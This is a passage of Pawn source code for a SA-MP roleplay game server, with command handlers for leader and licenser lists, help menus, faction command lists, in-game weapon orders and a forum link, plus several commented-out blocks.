							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{FFBA00}Legendary Men Family Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}


						if(PlayerInfo[i][pLeader] == 14 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{B32CF6}Fast N Furious Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 15 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{11E8E8}Storm Men Family Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}

						if(PlayerInfo[i][pLeader] == 16 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{F9F7CE}Tow Truck Company Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pLeader] == 17 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{7A7399}Unknowns Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
						if(PlayerInfo[i][pLeader] == 20 && PINFO[i][pAdmin] < 5)
						{
							GetPlayerName(i, sendername, sizeof(sendername));
							//format(string, 128, "{F21717}%s{FFFFFF} - Admin-Level %d (Id: %d)", sendername, PlayerInfo[i][pAdmin], i);
							format(string, sizeof(string),"{60F565}SF Police Departament Leader{FFFFFF} %s(%d) - Ph: %s", sendername, i, FormatPhoneNumber(PINFO[i][pPnumber]));
							//format(string, 128, "{B57412}%s{FFFFFF} is Admin Level %d (%d)", sendername, PlayerInfo[i][pAdmin], i);
							if (strlen(string) > 1)SendMessage(playerid, COLOR_WHITE, string);
							count++;
						}
					}

				}
				if(count == 0)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"* No Leaders online on the server");
				}
				else if(count == 1)
				{
					SendMessage(playerid,COLOR_LIGHTGREEN,"There is 1 Leader online.");
				}
				else if (count >= 2)
				{
					format(string, sizeof(string), "* There are %d Leaders online.", count);
					SCM(playerid, COLOR_LIGHTGREEN, string);
				}
			}
			return 1;
		}

	/*----------------------------------------------------------------------------*/
		if(strcmp(cmd, "/licensers", true) == 0 || strcmp(cmd, "/instructors", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				SendMessage(playerid, COLOR_LIGHTRED, "Licensers Online:");
				for(new i = 0; i < Akharish; i++)
				{
					if(IsPlayerConnected(i))
					{
						if(PlayerInfo[i][pMember] == 11 || PlayerInfo[i][pLeader] == 11)
						{
						new sinum = PlayerInfo[i][pPnumber];
							GetPlayerName(i, sendername, sizeof(sendername));
							format(string, 256, "** Phone number: %s Name: %s", FormatPhoneNumber(sinum) ,sendername);
							SendMessage(playerid, COLOR_LIGHTBLUE, string);
						}
					}
				}
			}
			return 1;
		}
	//----------------------------------[HELP]-----------------------------------------------
		if(strcmp(cmd, "/animhelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				SendMessage(playerid, CRISTIAN,"_______________________________________");
				SendMessage(playerid, COLOR_WHITE,"*** HELP *** type a command for more help");
				SendMessage(playerid, COLOR_GRAD4,"*** ANIMATIONS *** /animlist /stopanim");
			}
			return 1;
		}
		if(strcmp(cmd, "/payday", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				if(IsPlayerConnected(playerid))
				{
					PayDay();
					new str[70];
				    format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Admin %s given payday",PINFO[playerid][pName]);
			        SendAdminMessage(COLOR_AdminWarn,str);
					return 1;
				}
		}
/*    if(strcmp(cmd, "/help", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  SendClientMessage(playerid, CRISTIAN,"_______________________________________");
		  SendClientMessage(playerid, COLOR_CRS1,"*** ACCOUNT *** /rules /stats /changepassword /buylevel");
		  SendClientMessage(playerid, COLOR_CRS1,"*** GENERAL *** /pay /charity /time /buy /unrentvehicle /id /drink /clothes /buygun /timestamp, /sleep, /removecr");
		  SendClientMessage(playerid, COLOR_CRS2,"*** GENERAL *** /report /cancel /[acc]ept /eject /usedrugs /contract /fill /fillcar /admins /showlicenses(/sl) /speedlimit,");
		  SendClientMessage(playerid, COLOR_CRS2,"*** GENERAL *** /smoke /spawnchange /ad /licensers /usedrugs /lock /skill /licenses /mysamp /skinhelp /carradio, /myreferral");
		  SendClientMessage(playerid, COLOR_CRS3,"*** CHAT *** (/cw)carwhisper (/s)hout /low /f(action) /b /me /togooc /tognews /togfam /togwhisper");
		  SendClientMessage(playerid, COLOR_CRS3,"*** BANK *** /balance /withdraw /deposit /transfer");
		  SendClientMessage(playerid, COLOR_CRS5,"*** OTHER *** /cellphonehelp /househelp /renthelp /businesshelp /leaderhelp /fishhelp /atmhelp");
		  SendClientMessage(playerid, COLOR_CRS5,"*** OTHER *** /animhelp /jobhelp /carhelp /fhelp /eventhelp");
	   }
	   return 1;
	} */
	// New Help System by Sina
	if(strcmp(cmd, "/help", true) == 0)
	{
		if(IsPlayerConnected(playerid))
		{
			ShowPlayerDialog(playerid, 8127, DIALOG_STYLE_LIST, "Help", "Account\nGeneral\nChat\nJobs\nFaction\nBank\nHouses\nVehicles\nBusinesses\nDetection\nOther", "Select", "Close");
		}
		return 1;
	}
	/*
		if(!strcmp(cmd, "/helps", true))
	{

	   new shop[1024];
	   format(shop,sizeof(shop),"{FF0000}Help \t\n{FFFFFF}Generally-Help \t\n{FFFFFF}Helpers Help [/HH]\t\n{FFFFFF}Civillians Help\t\n{FFFFFF}Bank Help[Full]\t\n{FFFFFF}House & Rent \t\n{FFFFFF}Referral {FF0000} & Invite Learn\t\n{FFFFFF}Administrative {FF0000}& helperi \t\n{FFFFFF}History - {FF0000} Script\t\n{FFFFFF}Privacy{FF0000} & Policy\t\n{FFFFFF}Cheats {FF0000}Rules");
	   new title[256];
	   format(title, sizeof(title), "Azin Game Help - Your Level : {FFFF00}%d", PINFO[playerid][pLevel]);
	   ShowPlayerDialog(playerid,8590,DIALOG_STYLE_LIST,title,shop,"Select","Close");

	 return 1;
	}
	*/
	// End Of New Help System by Sina
	// Harchi tu in list e /EventHelp has by Sina yani tavasote mn sakhte Shode :D
/*
	   if(strcmp(cmd, "/eventhelp", true) == 0 || strcmp(cmd, "/ehelp", true) == 0)
		{
			new strlol[2400];
		  if(playerid != EventOrg && PINFO[playerid][pAdmin] < 1) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			strcat(strlol, "/E : Send message to all online players with Event-Organizer prefix\n", 2400);
			strcat(strlol, "/EUnlock : Unlock event for join players\n", 2400);
			strcat(strlol, "/ELock : Lock Event\n", 2400);
			strcat(strlol, "/Egg : Give gun to player\n", 2400);
			strcat(strlol, "/Eggall : Give gun to all event players\n", 2400);
			strcat(strlol, "/EVeh : Spawn a vehicle\n", 2400);
			strcat(strlol, "/EJ : Get jetpack\n", 2400);
			strcat(strlol, "/ERj : Remove jetpack \n", 2400);
			strcat(strlol, "/EDv : Destroy a vehicle\n", 2400);
			strcat(strlol, "/ERall : Repair all event player vehicles\n", 2400);
			strcat(strlol, "/EFreeze : Freeze a player\n", 2400);
			strcat(strlol, "/EUnfreeze : Unfreeze a player\n", 2400);
			strcat(strlol, "/EFreezeAll : Freeze all event players\n", 2400);
		  strcat(strlol, "/EUnfreezeAll : Unfreeze all event players\n", 2400);
		  strcat(strlol, "/EGoto : Goto an event player\n", 2400);
		  strcat(strlol, "/EGethere : Teleport an event player to yourself\n", 2400);
		  strcat(strlol, "/EGH : Teleport an event player to yourself without their vehicle\n", 2400);
		  strcat(strlol, "/ELockEngine : Lock engine of event player vehicles\n", 2400);
		  strcat(strlol, "/EUnLockEngine : UnLock engine of event player vehicles\n", 2400);
		  strcat(strlol, "/EDva : Multi remove event vehicles\n", 2400);
		  strcat(strlol, "/ETakeGunAll : Take all event players guns\n", 2400);
		  strcat(strlol, "/ETakeGun : Take an event player guns\n", 2400);
		  strcat(strlol, "/ESetArmor : Set a player armor\n", 2400);
		  strcat(strlol, "/ESetHP : Set a player hp\n", 2400);
		  strcat(strlol, "/ESetArmorAll : Set event players armor\n", 2400);
		  strcat(strlol, "/ESetHPAll : Set event players hp\n", 2400);
		  strcat(strlol, "/EBan : Ban a player from event\n", 2400);
			return ShowPlayerDialog(playerid, 9086, DIALOG_STYLE_MSGBOX, "{FFFF00}Event Help", strlol, "{FF00FF}Done", "");
		}
		
		*/
		
		/*
		
			   if(strcmp(cmd, "/updates", true) == 0)
		{
			new strlol[2400];
			strcat(strlol, "New updates of Azin Game v1.0.6\n\n", 2400);
			strcat(strlol, "/Carousels /WildCows /FunnyCows /Tran was added.\n", 2400);
			strcat(strlol, "/Theft was added.\n", 2400);
			strcat(strlol, "/BoxHelp was added for Box System.\n", 2400);
			strcat(strlol, "Skin Change on first death was fixed.\n", 2400);
			strcat(strlol, "Objects will not be hidden now.\n", 2400);
			strcat(strlol, "Your VIP Account was save now.\n", 2400);
			strcat(strlol, "All vehicle's price raised.\n", 2400);
			strcat(strlol, "Now you can just have 3 cars.\n", 2400);
			strcat(strlol, "Neon on /Shop was added.\n", 2400);
			strcat(strlol, "Event System was fixed and updated.\n", 2400);
			strcat(strlol, "An activity for staff team.\n", 2400);
			strcat(strlol, "Your last Fight-Style will be save.\n", 2400);
		  strcat(strlol, "Custom Skin in /Shop was fixed.\n", 2400);
		  strcat(strlol, "/AutoLogin was fixed.\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
		  //strcat(strlol, "\n", 2400);
			return ShowPlayerDialog(playerid, 9085, DIALOG_STYLE_MSGBOX, "Azin Game v1.0.6 Updates", strlol, "{00FF00}OK", "");
		}
		
		

		
		*/
	   /*
		if(strcmp(cmd, "/eventhelp", true) == 0 || strcmp(cmd, "/ehelp", true) == 0)
		{
			SCM(playerid,COLOR_CRS4,"*** EventOrganizer Help *** /e /hitoall /event /requestevent /createevent /stopevent /eunlock /elock /egg /eggall /eveh /ej /edv /erall /efreeze /eunfreze /efreezeall /eunfreezeall");
			if(PINFO[playerid][pAdmin] >= 1) SCM(playerid,COLOR_GG,"*** AdminHelp Event *** /e /hitoall /event /requestevent /createevent /stopevent /unlockevent /lockevent /egg /eggall /eveh /ej /edv /erall /efreeze /eunfreze /efreezeall /eunfreezeall ( AdminHelp: /aaevent )");
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/myfps", true) == 0 || strcmp(cmd, "/fps", true) == 0)
		{
			SCM(playerid,COLOR_CRS4,"{FF0000}[{FF00FF}FPS-System{FF0000}]{FFFFFF}: {00FF00}This feature not added yet.");
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/status", true) == 0 || strcmp(cmd, "/updatestatus", true) == 0)
		{
			SCM(playerid,COLOR_CRS4,"{0000FF}[{FF0000}Error{0000FF}]{FFFFFF}: {FF00FF}This section is just for admins.");
			if(PINFO[playerid][pAdmin] >= 1) SCM(playerid,COLOR_GG,"{0000FF}[{FF0000}Server-Status{0000FF}]{FFFFFF}: {FF00FF}Admine Aziz In Update ( 9.6 ) Marbot Be Event Va Cop Ha Hastesh");
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/shelp", true) == 0)
		{
		if(PINFO[playerid][pSoldier] == 0 && PINFO[playerid][pLeader] != 21) return SCM(playerid, COLOR_SSH, "You are not a soldier.");
		SendMessage(playerid, COLOR_CRS4, "*** FACTION *** (/r)adio /radar /getgun ");
		SendMessage(playerid, COLOR_CRS4, "*** FACTION *** /stand /dealstance /stretch /copmove /thankyou /hide ");
		return 1;
		}
		*/
		
		
		
		if(strcmp(cmd, "/fhelp", true) == 0)
		{
		if(PINFO[playerid][pRank] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you are not in any faction.");
		new me = PlayerInfo[playerid][pMember];
		new le = PlayerInfo[playerid][pLeader];
		if(le >= 1||me >= 1)
		{
				if(me==1||le==1)
				{
				SendMessage(playerid, COLOR_CRS4, "*** FACTION *** (/r)adio, (/d)epartments, (/m)egaphone, (/su)spect, /arrest, /duty, /wanted, /myactivity");
				SendMessage(playerid, COLOR_CRS4, "*** FACTION *** /frisk, /take, /ticket, (/gov)ernment, /og(/opengate), /speedc, (/cu)ff, (/ta)zer, /checkjl");
				SendMessage(playerid, COLOR_CRS5, "*** FACTION *** /handscuff(/hcu), /handsuncuff(/hucu), /suspend, /clear, /ms, /mv, /mf, /mt, /jl");
				}
				if(me==2||le==2)
				{
				SendMessage(playerid, COLOR_CRS4, "*** FACTION *** (/r)adio, (/d)epartments, (/m)egaphone, (/su)spect, /arrest,  /ram, /jl, /myactivity");
				SendMessage(playerid, COLOR_CRS4, "*** FACTION *** /frisk, /take, (/gov)ernment, /og(/opengate), (/cu)ff, (/ta)zer, /clear");
				SendMessage(playerid, COLOR_CRS5, "*** FACTION *** /handscuff(/hcu), /handsuncuff(/hucu), /duty, /wanted, /ms, /mv, /mf, /mt");
				}
				if(me==3||le==3)
				{
				SendMessage(playerid, COLOR_CRS4, "*** FACTION *** (/r)adio, (/d)epartments, (/m)egaphone, (/su)spect, /arrest,  /ram, /clear, /ms, /mv");
				SendMessage(playerid, COLOR_CRS4, "*** FACTION *** /frisk, /take, (/gov)ernment, /og(/opengate), (/cu)ff, (/ta)zer, /opencell");
				SendMessage(playerid, COLOR_CRS5, "*** FACTION *** /handscuff(/hcu), /handsuncuff(/hucu), /duty, /wanted, /closecell, /closeallcells");
				SendMessage(playerid, COLOR_CRS5, "*** FACTION *** /punish, /mf, /openallcells, /mt, /jl, /myactivity, /bg, /accbg, /bgfee");
				}
				if(me==4||le==4)
				{
				SendMessage(playerid, COLOR_CRS4, "*** FACTION *** (/r)adio, (/d)epartments, /heal, /duty, /myactivity");
				}
				if(me==5||le==5||me==6||le==6||me==12||le==12||me==13||le==13||le==14||me==14||me==15||le==15||le==15)
				{
				SendMessage(playerid,COLOR_CRS4,"*** FAMILY *** /fdeposit, /fwithdraw, /fdrugs, /fmats, /order, /heal, /attack, /f, /myactivity, /th, /uth");
				}
				if(me==7||le==7)
				{
				SendMessage(playerid,COLOR_CRS4,"*** FACTION *** /settax, /givetax, /gov, /mysactivity");
				}
				if(me==8||le==8)
				{
				SendMessage(playerid,COLOR_CRS4,"*** FACTION *** /portable, /f, /ram, /myactivity");
				}
				if(me==9||le==9)
				{
				SendMessage(playerid, COLOR_CRS4, "*** FACTION *** /live, /news, /f, /myactivity");
				}
				if(me==10||le==10)
				{
				SendMessage(playerid, COLOR_CRS4, "*** FACTION *** /fare, /[acc]ept taxi, /f, /myactivity");
				}
				if(me==11||le==11)
				{
				SendMessage(playerid,COLOR_CRS4,"*** FACTION *** /startlesson, /stoplesson, /givelicense, /f, /myactivity");
				}
				if(me==16||le==16)
				{
				SendMessage(playerid,COLOR_CRS4,"*** FACTION *** /towls, /towlv, /f, /myactivity");
				}
				if(me==17||le==17)
				{
				SendMessage(playerid,COLOR_CRS4,"*** FACTION *** /f, /hnews, /cover, /hackgates, /hackfind, /gunpackage, /hackfree, /hackcops, /hackwanted, /hackatm, /myactivity");
				}
		}
		else
		{
		SCM(playerid,COLOR_GREEN,"Error: You are not in any faction/family.");
		return 1;
		}
		return 1;
		}


		if(strcmp(cmd, "/chelp", true) == 0 || strcmp(cmd, "/clanhelp", true) == 0)
		{
		SendMessage(playerid, COLOR_CRS4, "*** Clan *** /c /cinfo /cresign");
		if(PINFO[playerid][pcRank] == 6) {
		SendMessage(playerid, COLOR_CRS4, "*** Clan Leader *** /cinvite /cuninvite /csetrank /cmembers");
		}
		return 1;
		}
		if(!strcmp(cmd,"/portable",true))
		{
			if(PINFO[playerid][pMember] != 8 && PINFO[playerid][pLeader] != 8) return SCM(playerid,COLOR_HITMAN,"You are not a Hitman Member.");
			if(HLapTop[playerid] == true) return SCM(playerid,COLOR_HITMAN,"You already connected to the Hitman Agency Server, type Logout to disconnect.");
			format(string,sizeof string,"Welcome Agent %s to the Hitman Agency Server.",PINFO[playerid][pName]);
			SCM(playerid,COLOR_HITMAN,string);
			SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}News {8E2323}- {FFFFFF}Displays News channel service");
			SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}MyContract {8E2323}- {FFFFFF}Show your contract");
			SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}Gethit {8E2323}- {FFFFFF}You can assign a contract with this");
			SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}Leavehit {8E2323}- {FFFFFF}You can cancel your contract");
			SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}Order {8E2323}- {FFFFFF}Order the weapons package according to your rank.");
			SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}Ranks {8E2323}- {FFFFFF}Displays online members and their rank.");
			SCM(playerid,COLOR_HITMAN,"| - {FFFFFF}LOGOUT {8E2323}- {FFFFFF}Disconnect from Agency Server");
			HLapTop[playerid] = true;
			return 1;
		}
		/*
		if(!strcmp(cmd,"/order",true))
	{
		if(!IsAMember(playerid)) return SCM(playerid,COLOR_SINA2,"Error: You are not in a family.");
	if(IsPlayerInHQ(playerid))
		{
			if(PINFO[playerid][pGunLic] == 0) return SCM(playerid,COLOR_SINA2,"Error: You don't have a gun license.");
			if(PINFO[playerid][pRank] >= 1)
			{
			ShowPlayerDialog(playerid,DIALOG_ORDER,DIALOG_STYLE_LIST,"{FF0000}Order","Health\n{FFFFFF}Bat {33AA33}(Rank 1+)\n{FFFFFF}Desert Eagle {33AA33}(Rank +1)\n{FFFFFF}AK-47 {FF0000}(Rank +2)\n{FFFFFF}M4 {FF0000}(Rank +2)\n{FFFFFF}Shotgun {FF0000}(Rank +2)\n{FFFFFF}Combat Shotgun {FF0000}(Rank +3)\n{FFFFFF}Tec-9 {FF0000}(Rank +4)\n{FFFFFF}Micro Uzi {FF0000}(Rank +4)\n{FFFFFF}Rifle {FF0000}(Rank +5)","Select","Close");
			}
			if(PINFO[playerid][pRank] >= 2)
			{
			ShowPlayerDialog(playerid,DIALOG_ORDER,DIALOG_STYLE_LIST,"{FF0000}Order","Health\n{FFFFFF}Bat {33AA33}(Rank 1+)\n{FFFFFF}Desert Eagle {33AA33}(Rank +1)\n{FFFFFF}AK-47 {33AA33}(Rank +2)\n{FFFFFF}M4 {33AA33}(Rank +2)\n{FFFFFF}Shotgun {33AA33}(Rank +2)\n{FFFFFF}Combat Shotgun {FF0000}(Rank +3)\n{FFFFFF}Tec-9 {FF0000}(Rank +4)\n{FFFFFF}Micro Uzi {FF0000}(Rank +4)\n{FFFFFF}Rifle {FF0000}(Rank +5)","Select","Close");
			}
			if(PINFO[playerid][pRank] >= 3)
			{
			ShowPlayerDialog(playerid,DIALOG_ORDER,DIALOG_STYLE_LIST,"{FF0000}Order","Health\n{FFFFFF}Bat {33AA33}(Rank 1+)\n{FFFFFF}Desert Eagle {33AA33}(Rank +1)\n{FFFFFF}AK-47 {33AA33}(Rank +2)\n{FFFFFF}M4 {33AA33}(Rank +2)\n{FFFFFF}Shotgun {33AA33}(Rank +2)\n{FFFFFF}Combat Shotgun {33AA33}(Rank +3)\n{FFFFFF}Tec-9 {FF0000}(Rank +4)\n{FFFFFF}Micro Uzi {FF0000}(Rank +4)\n{FFFFFF}Rifle {FF0000}(Rank +5)","Select","Close");
			}
			if(PINFO[playerid][pRank] >= 4)
			{
			ShowPlayerDialog(playerid,DIALOG_ORDER,DIALOG_STYLE_LIST,"{FF0000}Order","Health\n{FFFFFF}Bat {33AA33}(Rank 1+)\n{FFFFFF}Desert Eagle {33AA33}(Rank +1)\n{FFFFFF}AK-47 {33AA33}(Rank +2)\n{FFFFFF}M4 {33AA33}(Rank +2)\n{FFFFFF}Shotgun {33AA33}(Rank +2)\n{FFFFFF}Combat Shotgun {33AA33}(Rank +3)\n{FFFFFF}Tec-9 {33AA33}(Rank +4)\n{FFFFFF}Micro Uzi {33AA33}(Rank +4)\n{FFFFFF}Rifle {FF0000}(Rank +5)","Select","Close");
			}
			if(PINFO[playerid][pRank] >= 5)
			{
			ShowPlayerDialog(playerid,DIALOG_ORDER,DIALOG_STYLE_LIST,"{FF0000}Order","Health\n{FFFFFF}Bat {33AA33}(Rank 1+)\n{FFFFFF}Desert Eagle {33AA33}(Rank +1)\n{FFFFFF}AK-47 {33AA33}(Rank +2)\n{FFFFFF}M4 {33AA33}(Rank +2)\n{FFFFFF}Shotgun {33AA33}(Rank +2)\n{FFFFFF}Combat Shotgun {33AA33}(Rank +3)\n{FFFFFF}Tec-9 {33AA33}(Rank +4)\n{FFFFFF}Micro Uzi {33AA33}(Rank +4)\n{FFFFFF}Rifle {33AA33}(Rank +5)","Select","Close");
			}
			return 1;
	}
		else
		{
			SCM(playerid,COLOR_SINA2,"Error: You are not at your family HQ.");
			return 1;
		}
		
	}*/
		if(!strcmp(cmd,"/order",true))
		{
		if(!IsAMember(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in a family.");
		if(!IsPlayerInHQ(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are not in your HQ.");
		if(PINFO[playerid][pGunLic] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: You haven't weapon license.");
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp))
		{
		SCM(playerid,COL_SYN,"Syntax: /order <OrderID>");
		//SCM(playerid,COL_SYN,"Available OrderID: 1: Desert Eagle");
		//SCM(playerid,COL_SYN,"Available OrderID: 2: Desert Eagle, AK-47");
		//SCM(playerid,COL_SYN,"Available OrderID: 3: Desert Eagle, AK-47, Combat Shotgun");
		//SCM(playerid,COL_SYN,"Available OrderID: 4: Desert Eagle, AK-47, Combat Shotgun, Tec-9");
		//SCM(playerid,COL_SYN,"Available OrderID: 5: Desert Eagle, AK-47, Combat Shotgun, Tec-9, Rifle");
		return 1;
		}
		new orderid = strval(tmp);
	   switch(orderid)
	   {
	   case 1: { GivePlayerKolang(playerid,24,200); }
	   case 2: { if(PINFO[playerid][pRank] <= 1) { return SCM(playerid,COLOR_YELLOW2,"Error: To have this order your rank should be higher than 2."); } else { GivePlayerKolang(playerid,24,200); GivePlayerKolang(playerid,30,200); PlayerPlaySound(playerid,1052,0.0,0.0,0.0); } }
	   case 3: { if(PINFO[playerid][pRank] <= 2) { return SCM(playerid,COLOR_YELLOW2,"Error: To have this order your rank should be higher than 3."); } else { GivePlayerKolang(playerid,24,200); GivePlayerKolang(playerid,30,200); GivePlayerKolang(playerid,27,200); PlayerPlaySound(playerid,1052,0.0,0.0,0.0); } }
	   case 4: { if(PINFO[playerid][pRank] <= 3) { return SCM(playerid,COLOR_YELLOW2,"Error: To have this order your rank should be higher than 4."); } else { GivePlayerKolang(playerid,24,200); GivePlayerKolang(playerid,30,200); GivePlayerKolang(playerid,27,200); GivePlayerKolang(playerid,32,200); PlayerPlaySound(playerid,1052,0.0,0.0,0.0); } }
	   case 5: { if(PINFO[playerid][pRank] <= 4) { return SCM(playerid,COLOR_YELLOW2,"Error: To have this order your rank should be higher than 5."); } else { GivePlayerKolang(playerid,24,200); GivePlayerKolang(playerid,30,200); GivePlayerKolang(playerid,27,200); GivePlayerKolang(playerid,32,200); GivePlayerKolang(playerid,33,200); PlayerPlaySound(playerid,1052,0.0,0.0,0.0); } }
	   default: { SCM(playerid,COLOR_YELLOW2,"Error: Invalid order id."); }
	   }
	   return 1;
		}
	/*
	//   Neon System Added by Sina
	if(!strcmp(cmd, "/neon", true))
	{
		  if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid, COLOR_YELLOW2, "Error: You must be driver of this vehicle.");
		  ShowPlayerDialog(playerid,DIALOG_NEON,DIALOG_STYLE_LIST,"{FF0000}Neon System","Blue\nRed\nGreen\nWhite\nPink\nYellow\nNo Neon","Select","Close");
	   return 1;
	}*/
		if(strcmp(cmd, "/samphelp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				SCM(playerid,COLOR_SINA2,"Press F4 to change skin.");
				SCM(playerid,COLOR_SINA2,"Press F1 to see SA-MP keys.");
				return 1;
			}
		}
	//----------------------------------[HELP]-----------------------------------------------
	/*
		if(strcmp(cmd, "/rules", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				SendMessage(playerid, COLOR_YELLOW2,"INFO: Read our /forum( Type /forum to get Forum URL ) for all our rules and information.");
			}
			return 1;
		}
		*/
	//====================================================================================================================
		if(strcmp(cmd, "/forum", true) == 0)
		{ 
			new aaaa[50];
			format(aaaa, sizeof(aaaa), "Forum address: http://%s",FORUM_ADD)
			SCM(playerid,COLOR_LIGHTBLUE,aaaa);
			return 1;
		}
		/*
	   if(strcmp(cmd, "/tutorialen", true) == 0)
		{

				 if(TutTime1[i] == 3)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}The Beginning{FFFF00}_____|");
					}
					else if(TutTime1[i] == 6)
					{
						SendMessage(i, COLOR_TUT96, "Hello there, I see you're new, we'll show you a quick Tutorial.");
						SendMessage(i, COLOR_TUT96, "Firstly, all new players need to know what should or shouldn't on this server.");
						SendMessage(i, COLOR_TUT96, "We'll give you some information, so please pay attention to avoid additional questions.");
					}
					else if(TutTime1[i] == 18)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}About Server{FFFF00}_____|");
					}
					else if(TutTime1[i] == 21)
					{
						SendMessage(i, COLOR_TUT96, "This server is a RolePlay.");
						SendMessage(i, COLOR_TUT96, "We don't accept players who don't respect the rules or come here for DeathMach");
						SendMessage(i, COLOR_TUT96, "The name that you have chosen matters a lot, each player can choose what name he/she likes.");
						SendMessage(i, COLOR_TUT96, "We recommend you to choose legible name like: Andrew, Thomas, Matt.");
						SendMessage(i, COLOR_TUT96, "If you want to know more about RPG, visit our forum.");
						SendMessage(i, COLOR_TUT96, "(You can find the forum on our webpage: http://wWw.Azin Game.iR)");
					}
					else if(TutTime1[i] == 36)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Help{FFFF00}_____|");
					}
					else if(TutTime1[i] == 39)
					{
						SendMessage(i, COLOR_TUT96, "If you're confused and you would like to know more information, ask a player or a helper(/helpers).");
						SendMessage(i, COLOR_TUT96, "Use common sentences like: 'Hey, can you help me?'.");
						SendMessage(i, COLOR_TUT96, "Don't start shout at someone, because it will make you lock bad.");
						SendMessage(i, COLOR_TUT96, "Use commands /call or /sms (if you have cellphone) to talk with someone.");
						SendMessage(i, COLOR_TUT96, "You can also access our forum (http://wWw.Azin Game.iR) to receive more help.");
					}
					else if(TutTime1[i] == 56)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Job's{FFFF00}_____|");
					}
					else if(TutTime1[i] == 59)
					{
						SendMessage(i, COLOR_TUT96, "If you want to earn money you must have a job.");
						SendMessage(i, COLOR_TUT96, "On this server you can have two type of jobs, one primary and one secondary.");
						SendMessage(i, COLOR_TUT96, "Primay job's:(you must make an application on the forum and requires a certain level for each faction).");
						SendMessage(i, COLOR_TUT96, "Level 3+: Fireman/Paramedic, News Reports, School Instructor, Tow Car Company or Taxi Drive.");
						SendMessage(i, COLOR_TUT96, "Level 5+(Families): Member Triads, Grove Street, Varrios Los Aztecas, Da Nang Boys, Top Boys, Vagos or The Ballas.");
